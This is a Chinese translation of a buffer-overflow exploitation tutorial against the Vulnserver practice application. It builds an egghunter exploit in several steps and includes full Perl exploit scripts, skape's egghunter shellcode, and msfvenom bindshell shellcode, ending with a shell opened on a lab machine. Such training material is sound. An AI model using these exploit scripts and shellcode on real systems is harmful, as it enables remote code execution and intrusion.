大家到底在ASCII输入框中使用何种长度的"A"字符其实并不重要,只要确保长度足以超过任何程序中原本具有的连续"A"字符即可;不过也要注意,长度不要超过500字节,这是我们发往应用程序的长度上限。此外,务必开启"Case Sensitive(即大小写区分)"选项,勾选搜索窗口左下方的对应功能,以进一步降低误报的机率。

点击OK按钮开始搜索。理论上来说,我们刚刚输入的一长串"A"字符应该是不会找到任何匹配结果的。现在在内存映射窗口中再次选择第一项,然后用"B"字符再进行一次,接下来是"C",以此类推。当大家搜索连续的长串"C"字符时,应该会返回一个结果,内存转储窗口会显示其出现的具体位置。

将窗口稍微放大一些,这样我们就能完整地看到整行的内容。这里大家看到的内容应该与下图相似:

如大家所见,在我们的漏洞被触发时,那些随"STATS"命令发往程序的数据仍然存在于内存当中;如果把结果窗口开到足够大,同时会看到那些通过"RTIME"、"LTIME"以及"SRUN"等命令发出的数据。不过问题在于,内存中每个命令之后所剩余的似乎只有少量字符,这与我们当初发送的500字节并不一致;可以肯定的是,我们的bindshell shellcode(341字节)由于没有足够的连续空间加以容纳而被拆分掉了。(各位可以通过将内存中结束地址减去字符串起始地址的办法算出重复字符的数量。)

我们可以另找时间处理这条看似有用的信息(也许在以后的使用中会发挥作用吧…),但当下我们要继续搜索内存,寻找内存中是否有哪个片段能为我们所控制。关闭转储窗口,按Ctrl加L键继续在余下进程的内存空间中搜索"C"字符。同样,应该没有其它结果返回了。

继续这个过程,将kstet-exploit.pl文件中所列出的每个字符都尝试一次;另外再次强调,请大家务必在搜索新字符时确定自己是从内存映射窗口的第一项处开始的。注意,当我们搜索字符"D"、"E"与"F"时,所找到的结果应该会与"RTIME"、"LTIME"以及"SRUN"命令有关,如上图所示。这些结果忽略掉就好,因为正像我们之前提过的,它们不具备足够的连续空间让我们插入shellcode。

一路搜索到字符"I"时,大家应该看到如下图所示的结果。

将窗口适当放大,这样我们就能看到字符"I"两侧的完整信息。好了,这个结果看起来不错,我们在"GDOG"命令后找到了这么一长串理想的"I"字符。接下来我们将使用这个命令尝试将最终的shellcode插入到程序内存之中。虽然我们在内存转储窗口中看到"GDOG"后面跟着一长串"I"字符,但这也只能表明我们的原始命令与数据确实终止于这些"I"中。要确认所有内容都恰好是由我们所发送,大家可以参照文章前面部分的内容。当时在最后一次运行我们的漏洞代码时,"GDOG"命令在命令行中的输出结果就与此处的"I"字符有关联。这让我们更加确信"GDOG"就是我们需要的命令。

注意:这里涵盖了手动集中以及用大量时间从程序内存处查找特定模式等内容。我在文中所使用的方法主要是为了便于大家理解过程中各步骤的含义,以及如何使用OllyDbg内存映射工具搜索数据。一旦大家彻底掌握了这些技巧,另有一些简便方法也能达到同样的效果。举个例子,获取内存转储之后触发异常,使用诸如userdump(http://support.microsoft.com/kb/241215)之类的工具处理转储文件来检查目标字符串。如下所示的命令将循环运行字符串工具,并指向内存中的转储文件"/tmp/share/vulnserver.bin",结果将被发往grep并输出。我们从输出结果中即可找出循环中是否存在给定字符的重复字段(从A到L,与我们在测试脚本中所使用的字符相同)。这种方式能帮我们快速发现程序内存空间中的匹配字符(以下显示结果已经转换为可阅读的形式)。

  1. stephen@lion:~/Vulnserver$ for a in {A..L}; do strings /tmp/share/vulnserver.bin | grep -E "$a{500,}" ; done  
  2. GDOG IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII  
  3. IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII  
  4. IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII  
  5. IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIE 

其它注意事项:我在上文所表述的处理过程中刻意插入了一个小小的缺陷,这可能会在某些特定情况下使得输出报告与实际情况不符。大家能猜到这个缺陷是什么,而且更重要的是,能想出相应的解决方案,以使其在修正后正确作用于各类不同的工作状况下吗?需要一点提示?问题可能出在恶意字符上…

现在我们就在内存中为自己争取到了额外的空间,而且大小也足够我们在异常发生时用其容纳有用的shellcode。下一步是将合适的shellcode植入这部分内存空间中,这样我们的寻蛋者shellcode就能正确寻获并加以调用。

#p#

寻蛋者Shellcode

在这篇文章的实例中,我们要用到的是由Matt Miller(skape)编写的寻蛋者shellcode。讨论这一shellcode的论文可在以下链接中找到(http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf),而利用C代码将shellcode转换成Windows可执行文件的相关说明则可参阅以下链接(http://www.hick.org/code/skape/shellcode/win32/egghunt_syscall.c)。

由于上述C代码需要Windows Visual Studio环境方能编译,我把程序的主要功能以下列perl脚本的形式重新表达出来,这样大家就不会在安装或是使用Visual Studio方面遇到问题了。将以下内容以egghun_syscall.pl的形式保存在硬盘上。这实质上是利用我们在命令行中获得的值把寻蛋者shellcode以十六进制的形式粘贴到漏洞中。

  1. #!/usr/bin/perl  
  2. # Provides Matt Miller (skapes) Windows syscall egghunter in hex format  
  3. if ($ARGV[0] !~ m/^0x[0-9A-Fa-f]{8}$/) {  
  4.     die("Usage: $0 egg\n\nWhere egg is a 32 bit (4 byte) value in hex.\nExample: $0 0x41414242\n\n");  
  5. }  
  6.  
  7. $egg = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8";  
  8. $egg .pack('N', hex($ARGV[0]));  
  9. $egg ."\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7";  
  10. print "Size: " . length($egg) . "\n\n" . texttohex($egg) . "\n";  
  11.  
  12. sub texttohex {  
  13.     my $out;  
  14.     my @bits = split //, $_[0];  
  15.     foreach $bit (@bits) {  
  16.         $out = $out . '\x' . sprintf("%02x", ord($bit));  
  17.     }  
  18.     return $out;  

这段shellcode会在内存中搜索一个长度为4字节的值,并且每一行重复两次,随后将执行控制权交给下列代码。
如果大家有兴趣,以下是寻蛋者shellcode的汇编格式。在下列代码中,0x5433334c是搜索目标值的硬编码。而在上面的perl脚本中,用户可以随意对这一值进行指定。

  1. [BITS 32]  
  2. ; Matt Millers (skapes) syscall egghunter  
  3.  
  4. global _start  
  5.  
  6. loop_inc_page:  
  7.     or dx, 0x0fff ; Add PAGE_SIZE-1 to edx  
  8. loop_inc_one:  
  9.     inc edx ; Increment our pointer by one  
  10. loop_check:  
  11.     push edx ; Save edx  
  12.     push byte 0x2 ; Push NtAccessCheckAndAuditAlarm  
  13.     pop eax ; Pop into eax  
  14.     int 0x2e ; Perform the syscall  
  15.     cmp al, 0x05 ; Did we get 0xc0000005 (ACCESS_VIOLATION) ?  
  16.     pop edx ; Restore edx  
  17. loop_check_8_valid:  
  18.     je loop_inc_page ; Yes, invalid ptr, go to the next page  
  19.  
  20. is_egg:  
  21.     mov eax, 0x5433334c ; Throw our egg in eax  
  22.     mov edi, edx ; Set edi to the pointer we validated  
  23.     scasd ; Compare the dword in edi to eax  
  24.     jnz loop_inc_one ; No match? Increment the pointer by one  
  25.     scasd ; Compare the dword in edi to eax again (which is now edx + 4)  
  26.     jnz loop_inc_one ; No match? Increment the pointer by one  
  27.  
  28. matched:  
  29.     jmp edi 

我将使用4字节长度的字符串"R0cX"作为搜索值,因此我将其转换为十六进制格式并植入下列perl代码的第一行。

  1. stephen@lion:~/Vulnserver$ perl -e '@b = split //, 'R0cX'; print "0x"; for(@b) {print sprintf("%02x", ord($_))} print "\n"'  
  2. 0x52306358 

现在我可以将上述值作为输入内容运行egghunter_syscall.pl脚本了。最终结果是使我的寻蛋者shellcode转换为十六进制格式,并将"R0cX"作为搜索字符串。

  1. stephen@lion:~/Vulnserver$ ./egghunter_syscall.pl 0x52306358  
  2. Size: 32  
  3. \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7 

现在我们要做的是将寻蛋者代码插入溢出漏洞。如前所述,我们将把寻蛋者shellcode插入EIP覆盖地址之前、$baddata变量中的69字节区域中;不过要向该区域插入shellcode,我们还需要解决另一个问题。不知道大家是否还记得,当我们运行自己的溢出漏洞时,执行文件将在覆盖了EIP位置的20字节之后终止。因此要让漏洞顺畅运行,我们还需要具备相应能力,使得执行文件从这一位置向后跳跃至寻蛋者存储之处。下列汇编代码将使我们得以完成这一目标。

  1. [BITS 32]  
  2. mov eax, esp ; copy value from esp to eax  
  3. sub eax, byte 0x40 ; subtract 0x40 (64) from eax  
  4. jmp eax ; redirect execution to address in eax 

此代码从ESP中提取值(正如我们在前面所看到的,将内存地址指向值保存在缓存当中EIP覆盖地址之后的位置),将其置于EAX寄存器中,并在减64之后跳跃至目标地址。

该代码(保存为jumpback.asm)可以转换为十六进制格式,以粘贴到我们的漏洞当中。如果大家还没有安装nasm(这在前文的执行要求章节中是作为可选要求出现的),那就跳过这一步,只要将十六进制值从下方的第二条命令中拷贝出来即可。

  1. stephen@lion:~/Vulnserver$ nasm jumpback.asm -f bin -o jumpback.bin  
  2. stephen@lion:~/Vulnserver$ cat jumpback.bin | perl -e 'while (read STDIN, $d, 1) {print "\\x" . sprintf("%02x", ord($d))} print "\n"'  
  3. \x89\xe0\x83\xe8\x40\xff\xe0 

现在我们按以下步骤修改溢出漏洞。首先,我们将$egghuntme变量设置为"GDOG",接下来是两次重复的搜索字符串,然后是我们希望寻蛋者找到并运行的"蛋"。在本文的例子中,"蛋"只是几个INT3中断端点,作用是帮我们测试寻蛋者是否工作正常。结果数据将在溢出漏洞被触发之前发往Vulnserver应用程序,这就确保了异常发生时数据已经存在于内存中。

我还在寻蛋者shellcode之前添加了几条\x90 NOP指令,以创建一条NOP sled。用于使ESP寄存器存储位置回退64字节的跳跃代码将指向这条NOP sled,可执行文件也随之从此处运行,直到抵达寻蛋者代码处。它的存在让我们不必担心跳跃代码的确切指向位置--无论何时,只要它到达NOP sled处,可执行文件就将启动我们的寻蛋者。

当然,我们用nasm部署的跳跃代码也将被添加到&baddata变量的末尾,处于覆盖地址之后。

为了让大家更直观地把握整个流程,我在下面制作了一幅图,用以解释执行代码在内存中的位置改变以及漏洞于何时开始运行。

以下是更新后的代码,其中包含了前面所讨论的各项变更。

  1. #!/usr/bin/perl  
  2. use IO::Socket;  
  3.  
  4. if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORT\n\n"); }  
  5. $egghuntme = "GDOG "; # our variable containing the "egg" for our egghunter to find starts here  
  6. $egghuntme ."R0cX" x 2; # two iterations of search string "R0cX"  
  7. $egghuntme ."\xCC" x 4; # four int3 breakpoints, the "egg" that will be executed   
  8.  
  9. $badheader = "KSTET ."; # sets variable $badheader to "KSTET ."  
  10. $baddata = "\x90" x 20; # NOP sled  
  11. $baddata ."\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"; # skape syscall egghunter searching for R0cX  
  12. $baddata ."\x90" x (69 - length($baddata));  
  13. $baddata .pack('V', 0x625011AF); # JMP ESP essfunc.dll  
  14. $baddata ."\x89\xe0\x83\xe8\x40\xff\xe0"; # mov eax, esp; sub eax, 0x40; jmp eax   
  15.  
  16. $socket = IO::Socket::INET->new( # setup TCP socket - $socket  
  17.     Proto => "tcp",  
  18.     PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address  
  19.     PeerPort => "$ARGV[1]" # command line variable 2 - TCP port  
  20. ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";  
  21.  
  22. $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd  
  23. print "$sd"; # print $sd variable  
  24. $socket->send($egghuntme); # send "egg" data to the application  
  25. $socket->recv($sd, 1024);  
  26. $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket  

在调试器中重新启动程序并再次运行溢出漏洞。

  1. stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999  
  2. Welcome to Vulnerable Server! Enter HELP for help. 

现在经过短暂的停顿,寻蛋者的魔法终于起效,执行过程在四个INT3中断端点中的第一个处陷入暂停。

这表明我们的寻蛋者工作正常。剩下惟一要做的就是向"蛋"中添加一些合适的shellcode。在Metasploit第4版中,我们有了一款名为msfvenom的新工具,它能一次性生成shellcode并搞定编码工作。这里我们要生成一段简单的bindshell shellcode,监听端口12345,并且我们将对其进行编码,以防止使用觉的恶意字符如"\x00"、"\x0A"以及"\x0D"等。

注意:如果大家在运行下列命令时发生任何问题,原因很可能在于诸位的路径中不具备指向msfvenom可执行文件的链接。在这种情况下,只需直接从Metasploit安装目录下手动运行即可解决。

  1. stephen@lion:~/Vulnserver$ msfvenom -p windows/shell_bind_tcp -f perl -a x86 -b '\x00\x0a\x0d' LPORT=12345 
  2. [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)  
  3. my $buf =  
  4. "\xba\xa2\x97\xad\x8d\xdb\xd3\xd9\x74\x24\xf4\x58\x2b\xc9" .  
  5. "\xb1\x56\x31\x50\x13\x83\xc0\x04\x03\x50\xad\x75\x58\x71" .  
  6. "\x59\xf0\xa3\x8a\x99\x63\x2d\x6f\xa8\xb1\x49\xfb\x98\x05" .  
  7. "\x19\xa9\x10\xed\x4f\x5a\xa3\x83\x47\x6d\x04\x29\xbe\x40" .  
  8. "\x95\x9f\x7e\x0e\x55\x81\x02\x4d\x89\x61\x3a\x9e\xdc\x60" .  
  9. "\x7b\xc3\x2e\x30\xd4\x8f\x9c\xa5\x51\xcd\x1c\xc7\xb5\x59" .  
  10. "\x1c\xbf\xb0\x9e\xe8\x75\xba\xce\x40\x01\xf4\xf6\xeb\x4d" .  
  11. "\x25\x06\x38\x8e\x19\x41\x35\x65\xe9\x50\x9f\xb7\x12\x63" .  
  12. "\xdf\x14\x2d\x4b\xd2\x65\x69\x6c\x0c\x10\x81\x8e\xb1\x23" .  
  13. "\x52\xec\x6d\xa1\x47\x56\xe6\x11\xac\x66\x2b\xc7\x27\x64" .  
  14. "\x80\x83\x60\x69\x17\x47\x1b\x95\x9c\x66\xcc\x1f\xe6\x4c" .  
  15. "\xc8\x44\xbd\xed\x49\x21\x10\x11\x89\x8d\xcd\xb7\xc1\x3c" .  
  16. "\x1a\xc1\x8b\x28\xef\xfc\x33\xa9\x67\x76\x47\x9b\x28\x2c" .  
  17. "\xcf\x97\xa1\xea\x08\xd7\x98\x4b\x86\x26\x22\xac\x8e\xec" .  
  18. "\x76\xfc\xb8\xc5\xf6\x97\x38\xe9\x23\x37\x69\x45\x9b\xf8" .  
  19. "\xd9\x25\x4b\x91\x33\xaa\xb4\x81\x3b\x60\xc3\x85\xf5\x50" .  
  20. "\x80\x61\xf4\x66\x16\x4b\x71\x80\x3c\xbb\xd7\x1a\xa8\x79" .  
  21. "\x0c\x93\x4f\x81\x66\x8f\xd8\x15\x3e\xd9\xde\x1a\xbf\xcf" .  
  22. "\x4d\xb6\x17\x98\x05\xd4\xa3\xb9\x1a\xf1\x83\xb0\x23\x92" .  
  23. "\x5e\xad\xe6\x02\x5e\xe4\x90\xa7\xcd\x63\x60\xa1\xed\x3b" .  
  24. "\x37\xe6\xc0\x35\xdd\x1a\x7a\xec\xc3\xe6\x1a\xd7\x47\x3d" .  
  25. "\xdf\xd6\x46\xb0\x5b\xfd\x58\x0c\x63\xb9\x0c\xc0\x32\x17" .  
  26. "\xfa\xa6\xec\xd9\x54\x71\x42\xb0\x30\x04\xa8\x03\x46\x09" .  
  27. "\xe5\xf5\xa6\xb8\x50\x40\xd9\x75\x35\x44\xa2\x6b\xa5\xab" .  
  28. "\x79\x28\xd5\xe1\x23\x19\x7e\xac\xb6\x1b\xe3\x4f\x6d\x5f" .  
  29. "\x1a\xcc\x87\x20\xd9\xcc\xe2\x25\xa5\x4a\x1f\x54\xb6\x3e" .  
  30. "\x1f\xcb\xb7\x6a"; 

现在如下所示,将生成的shellcode粘贴至我们的溢出漏洞中:

  1. #!/usr/bin/perl  
  2. use IO::Socket;  
  3.  
  4. if (@ARGV < 2) { die("Usage: $0 IP_ADDRESS PORT\n\n"); }  
  5. $egghuntme = "GDOG "; # our variable containing the "egg" for our egghunter to find starts here  
  6. $egghuntme ."R0cX" x 2; # two iterations of search string "R0cX"  
  7. # msfvenom -p windows/shell_bind_tcp -f perl -a x86 -b '\x00\x0a\x0d' LPORT=12345 
  8. $egghuntme ."\xba\xa2\x97\xad\x8d\xdb\xd3\xd9\x74\x24\xf4\x58\x2b\xc9" .  
  9. "\xb1\x56\x31\x50\x13\x83\xc0\x04\x03\x50\xad\x75\x58\x71" .  
  10. "\x59\xf0\xa3\x8a\x99\x63\x2d\x6f\xa8\xb1\x49\xfb\x98\x05" .  
  11. "\x19\xa9\x10\xed\x4f\x5a\xa3\x83\x47\x6d\x04\x29\xbe\x40" .  
  12. "\x95\x9f\x7e\x0e\x55\x81\x02\x4d\x89\x61\x3a\x9e\xdc\x60" .  
  13. "\x7b\xc3\x2e\x30\xd4\x8f\x9c\xa5\x51\xcd\x1c\xc7\xb5\x59" .  
  14. "\x1c\xbf\xb0\x9e\xe8\x75\xba\xce\x40\x01\xf4\xf6\xeb\x4d" .  
  15. "\x25\x06\x38\x8e\x19\x41\x35\x65\xe9\x50\x9f\xb7\x12\x63" .  
  16. "\xdf\x14\x2d\x4b\xd2\x65\x69\x6c\x0c\x10\x81\x8e\xb1\x23" .  
  17. "\x52\xec\x6d\xa1\x47\x56\xe6\x11\xac\x66\x2b\xc7\x27\x64" .  
  18. "\x80\x83\x60\x69\x17\x47\x1b\x95\x9c\x66\xcc\x1f\xe6\x4c" .  
  19. "\xc8\x44\xbd\xed\x49\x21\x10\x11\x89\x8d\xcd\xb7\xc1\x3c" .  
  20. "\x1a\xc1\x8b\x28\xef\xfc\x33\xa9\x67\x76\x47\x9b\x28\x2c" .  
  21. "\xcf\x97\xa1\xea\x08\xd7\x98\x4b\x86\x26\x22\xac\x8e\xec" .  
  22. "\x76\xfc\xb8\xc5\xf6\x97\x38\xe9\x23\x37\x69\x45\x9b\xf8" .  
  23. "\xd9\x25\x4b\x91\x33\xaa\xb4\x81\x3b\x60\xc3\x85\xf5\x50" .  
  24. "\x80\x61\xf4\x66\x16\x4b\x71\x80\x3c\xbb\xd7\x1a\xa8\x79" .  
  25. "\x0c\x93\x4f\x81\x66\x8f\xd8\x15\x3e\xd9\xde\x1a\xbf\xcf" .  
  26. "\x4d\xb6\x17\x98\x05\xd4\xa3\xb9\x1a\xf1\x83\xb0\x23\x92" .  
  27. "\x5e\xad\xe6\x02\x5e\xe4\x90\xa7\xcd\x63\x60\xa1\xed\x3b" .  
  28. "\x37\xe6\xc0\x35\xdd\x1a\x7a\xec\xc3\xe6\x1a\xd7\x47\x3d" .  
  29. "\xdf\xd6\x46\xb0\x5b\xfd\x58\x0c\x63\xb9\x0c\xc0\x32\x17" .  
  30. "\xfa\xa6\xec\xd9\x54\x71\x42\xb0\x30\x04\xa8\x03\x46\x09" .  
  31. "\xe5\xf5\xa6\xb8\x50\x40\xd9\x75\x35\x44\xa2\x6b\xa5\xab" .  
  32. "\x79\x28\xd5\xe1\x23\x19\x7e\xac\xb6\x1b\xe3\x4f\x6d\x5f" .  
  33. "\x1a\xcc\x87\x20\xd9\xcc\xe2\x25\xa5\x4a\x1f\x54\xb6\x3e" .  
  34. "\x1f\xcb\xb7\x6a";   
  35.  
  36. $badheader = "KSTET ."; # sets variable $badheader to "KSTET ."  
  37. $baddata = "\x90" x 20; # NOP sled  
  38. $baddata ."\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"; # skape syscall egghunter searching for R0cX  
  39. $baddata ."\x90" x (69 - length($baddata));  
  40. $baddata .pack('V', 0x625011AF); # JMP ESP essfunc.dll  
  41. $baddata ."\x89\xe0\x83\xe8\x40\xff\xe0"; # mov eax, esp; sub eax, 0x40; jmp eax   
  42.  
  43. $socket = IO::Socket::INET->new( # setup TCP socket - $socket  
  44.     Proto => "tcp",  
  45.     PeerAddr => "$ARGV[0]", # command line variable 1 - IP Address  
  46.     PeerPort => "$ARGV[1]" # command line variable 2 - TCP port  
  47. ) or die "Cannot connect to $ARGV[0]:$ARGV[1]";  
  48.  
  49. $socket->recv($sd, 1024); # Receive 1024 bytes data from $socket, store in $sd  
  50. print "$sd"; # print $sd variable  
  51. $socket->send($egghuntme); # send "egg" data to the application  
  52. $socket->recv($sd, 1024);  
  53. $socket->send($badheader . $baddata); # send $badheader and $baddata variable via $socket 

现在在调试器中重新启动程序,并运行漏洞:

  1. stephen@lion:~/Vulnserver$ ./kstet-exploit.pl 192.168.56.101 9999  
  2. Welcome to Vulnerable Server! Enter HELP for help. 

给寻蛋者shellcode一点时间,它的魔力就将得到发挥,接下来尝试通过端口12345向shell发起连接:

  1. stephen@lion:~/Vulnserver$ nc 192.168.56.101 12345  
  2. Microsoft Windows XP [Version 5.1.2600]  
  3. (C) Copyright 1985-2001 Microsoft Corp.  
  4. C:\Documents and Settings\Stephen> 

我们的shell完成了!另一个溢出漏洞被证明有效了!

现在可以尝试在调试器之外对程序进行攻略了。大家一定会发现,在漏洞启动与shell可用之间存在着一定时间上的延迟,这是因为寻蛋者需要梳理内存内容直到寻获目标字符串,此时它才能将控制权交给"蛋"shellcode。

原文链接:http://resources.infosecinstitute.com/buffer-overflow-vulnserver/

责任编辑:张恬恬 来源: 51CTO.com
相关推荐

2014-07-30 11:21:46

2009-09-24 18:16:40

2020-08-10 08:37:32

漏洞安全数据

2010-10-09 14:45:48

2022-05-07 08:27:42

缓冲区溢出堆栈

2019-02-27 13:58:29

漏洞缓冲区溢出系统安全

2017-01-09 17:03:34

2018-11-01 08:31:05

2022-08-09 08:31:40

C -gets函数漏洞

2010-09-29 15:10:58

2019-01-11 09:00:00

2015-09-02 09:01:03

2018-01-26 14:52:43

2009-05-13 09:21:48

2020-10-27 09:51:18

漏洞

2010-09-29 15:59:04

2011-02-24 09:21:31

2019-03-06 09:00:38

ASLRLinux命令

2010-12-27 10:21:21

2012-07-26 09:39:01

点赞
收藏

51CTO技术栈公众号